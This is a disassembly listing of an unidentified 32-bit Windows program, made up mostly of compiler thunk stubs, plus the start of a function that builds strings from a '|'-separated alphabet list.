; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A810+13p
		jmp	loc_40A950
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B060:loc_41B0ACp
					; sub_41B950+54p ...
		jmp	sub_4198A0
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:004142C5p
		jmp	sub_415490
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF6	proc near		; CODE XREF: sub_4156C0+34p
					; sub_4161C0+67p
		jmp	sub_416360
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_4152F0+3p
					; ___:00415A4Fp ...
		jmp	sub_415D00
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C10
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_413120+4Dp
		jmp	sub_415370
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418E60+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00419103p
		jmp	sub_419170
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BF1Ap
		jmp	sub_40C250
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B15Fp
		jmp	sub_42ADB0
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_4348A0
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:004240B4o
		jmp	loc_423C10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416A6Bp
					; ___:00439F50j ...
		jmp	sub_417A40
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413B70+99p
		jmp	sub_413D40
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B390+3Dp
					; ___:0040BB2Dp ...
		jmp	sub_40B700
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423CA7p
		jmp	sub_423720
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A3Ep
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B350
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F46	proc near		; CODE XREF: sub_4139B0+72p
		jmp	sub_413670
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_418330+5Fp
					; sub_418940+1Ap ...
		jmp	sub_4189B0
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EFA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E400+B5p
		jmp	sub_42D2C0
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B520+4Bp
					; sub_40B520:loc_40B5ABp ...
		jmp	sub_40BE40
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E400
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A430+142p
		jmp	sub_40A810
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415DD0+9p
					; sub_415E70+18p
		jmp	sub_4166D0
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431B30+1Bp
		jmp	sub_431BE0
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_426450+1Dp
					; sub_4269A0+1Dp ...
		jmp	sub_4264C0
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427DC0+1Dp
					; sub_428160+1Fp ...
		jmp	sub_427E30
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429D73p
		jmp	sub_429DA0
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409600+112p
					; sub_409600+153p
		jmp	sub_409940
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_422600+5p
		jmp	sub_422770
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_413670+6Fp
					; sub_413670+DBp ...
		jmp	sub_4152F0
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FAF	proc near		; CODE XREF: sub_415210+5Ep
					; sub_415BE0+32p
		jmp	sub_415B20
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F030
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412B20+3p
		jmp	sub_412B50
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409D20
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_419950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A0E0+3p
					; sub_41B040+9j ...
		jmp	sub_41A110
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_40BCB0+34p
					; sub_40C120+67p
		jmp	sub_40C040
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432690
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F0B0
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_436300
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EDB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F860+5Ap
		jmp	sub_41FF40
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430380

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416A2Bp
					; ___:00439F88j ...
		jmp	sub_417B00
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416D7Fp
		jmp	sub_413120
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421A80+5p
		jmp	sub_421F80
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:00421654p
		jmp	sub_41BFA0
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+472p ...
		jmp	sub_40A670
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433120
; ---------------------------------------------------------------------------
		jmp	sub_41B3D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422370+Ap
		jmp	sub_422650
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7EAp
		jmp	sub_41B950
sub_402022	endp

; ---------------------------------------------------------------------------


loc_402027:				; DATA XREF: ___:off_43E014o
		jmp	loc_40ADE0
; ---------------------------------------------------------------------------


loc_40202C:				; DATA XREF: ___:off_43E088o
		jmp	loc_42BE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: ___:0040ADE3p
					; ___:0040FEDEp ...
		jmp	sub_40AE10
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_424840+109p
					; sub_424840+178p ...
		jmp	sub_424720
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_4098E0+7p
		jmp	sub_4099D0
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416660+Ap
		jmp	sub_416870
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CB10
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EEEBp
					; sub_42FDD0+EAp
		jmp	sub_433030
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421960+5p
					; sub_421A50+6p ...
		jmp	sub_421EF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FF60+8ADp
					; sub_40FF60+95Ep ...
		jmp	sub_411990
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_40C040+7p
		jmp	sub_40C230
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40205E	proc near		; CODE XREF: sub_418940+34p
					; sub_418E90+67p
		jmp	sub_418CA0
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409B10
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	loc_427FC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_417020+2Bp
					; sub_417020+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_4097D0+14p
		jmp	sub_409830
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427AD0:loc_427CDBp
		jmp	sub_4279F0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_426650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_418330+4Dp
		jmp	sub_418A70
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_415160+5p
					; sub_415310+6p ...
		jmp	sub_415CE0
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_426650+3p
		jmp	sub_426680
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B0F0
; ---------------------------------------------------------------------------
		jmp	loc_421620

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416D4Fp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_413670+83p
					; sub_4144D0+91p ...
		jmp	sub_415310
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EF30
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40A9F0+144p
		jmp	sub_40AD00
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FF50+BAp
					; sub_432980+36p
		jmp	sub_4329F0
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421DF0+23p
					; sub_422240+11p
		jmp	sub_4223E0
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_4220E0+4p
		jmp	sub_4224F0
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A810+3BBp
		jmp	sub_42A440
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A212p
		jmp	sub_41A2B0
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_4168C0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B2D0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415C70+4p
		jmp	sub_416490
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F4B6p
					; ___:0042F518p ...
		jmp	sub_4337E0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418D20+8p
		jmp	sub_418FC0
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020E5	proc near		; CODE XREF: sub_418890+34p
					; sub_418D80+67p
		jmp	sub_418BA0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A6D0+117p
		jmp	sub_41A860
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415AA0+35p
		jmp	sub_416570
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+45Cp
					; sub_4066E0+43p ...
		jmp	sub_409BC0
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BD20+5p
					; sub_40BE60+6p ...
		jmp	sub_40C060
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_4190B0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429A33p
		jmp	sub_429A60
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FF60+F3Dp
					; sub_40FF60+1392p ...
		jmp	sub_4147D0
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_4139B0+38p
					; sub_413DA0+5Fp
		jmp	sub_413510
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A130+14p
					; sub_40A160+7p ...
		jmp	sub_40A180
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A150+157p
		jmp	sub_429D00
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40ABE0+1Ap
					; sub_40AC30+1Ap
		jmp	sub_40ACA0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_415600+3p
					; ___:00415E1Fp ...
		jmp	sub_416050
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FF60
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_4147D0+EDp
		jmp	sub_415830
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BE20+3p
		jmp	sub_40C0A0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BEC0+11p
					; ___:0040BEE7p ...
		jmp	sub_40C1E0
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E660+2C5p
		jmp	sub_4207E0
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D830+652p
		jmp	sub_41C070
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40214E	proc near		; CODE XREF: sub_418BC0+32p
		jmp	sub_418E90
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40EC30+ACp
					; ___:0040F35Dp
		jmp	sub_40ED70
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_4137E0+93p
		jmp	sub_433A20
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_4151D0+1Fp
					; sub_415AA0+2Cp
		jmp	sub_415A00
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:0042541Dp
		jmp	sub_4253E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_420530+17Dp
		jmp	sub_4219D0
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: ___:0042C261p
		jmp	sub_42A090
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409B10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40A9F0+6Ap
					; sub_40A9F0+103p
		jmp	sub_40AC30
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_426620
; ---------------------------------------------------------------------------
		jmp	loc_41AC00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+16p
					; sub_407260+Bp ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B000+1Bp
		jmp	sub_432AD0
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415A5Ap
		jmp	sub_4164E0
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F6B0+ABp
					; sub_430690+1Bp ...
		jmp	sub_430700
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EA90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A3	proc near		; CODE XREF: ___:004086B7p
					; ___:004086DCp ...
		jmp	sub_4198C0
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C710
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B520+55p
		jmp	sub_409FD0
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_428220
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021B7	proc near		; CODE XREF: sub_421AF0+34p
					; sub_422410+67p
		jmp	sub_422130
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C610+1B3p
					; sub_41C610+332p ...
		jmp	sub_41D670
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BC70+11p
					; sub_40BEC0+1Fp
		jmp	sub_40BFF0
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_4245F0+1Ap
					; sub_4246D0+1Bp ...
		jmp	sub_424420
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: ___:004169BBp
		jmp	sub_418940
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BB70
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC80
; ---------------------------------------------------------------------------
		jmp	loc_42EE10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_433160+1Bp
		jmp	sub_4331D0
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E400+101p
		jmp	sub_42DD50
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2D0
; ---------------------------------------------------------------------------
		jmp	locret_418840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_433100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_418330+88p
					; sub_418330+98p
		jmp	sub_418A90
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416ABBp
					; ___:00439F0Aj ...
		jmp	sub_417770
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418AE0+5p
		jmp	sub_418D50
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_414640+3p
		jmp	sub_414670
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F2FBp
					; ___:0042FC27p ...
		jmp	sub_430AD0
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_427600
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F840+102p
					; sub_431730+5Dp ...
		jmp	sub_430810
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413510+5Cp
					; sub_413510+C0p ...
		jmp	sub_415460
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_431410
; ---------------------------------------------------------------------------
		jmp	loc_42F170

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D830+203p
		jmp	sub_42D0D0
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E400+148p
					; sub_42E400+173p
		jmp	sub_42DC70
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E1A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_4133D0+34p
					; sub_4147D0+40p
		jmp	sub_4158F0
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CBB0+1A4p
					; sub_40CF60+ADp
		jmp	sub_40CF60
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E220

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422A40+938p
		jmp	loc_423FA0
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A90
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438CE6j
		jmp	loc_40CEE0
; ---------------------------------------------------------------------------
		db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A87
		push	offset byte_446F60
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]
		call	sub_401681
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
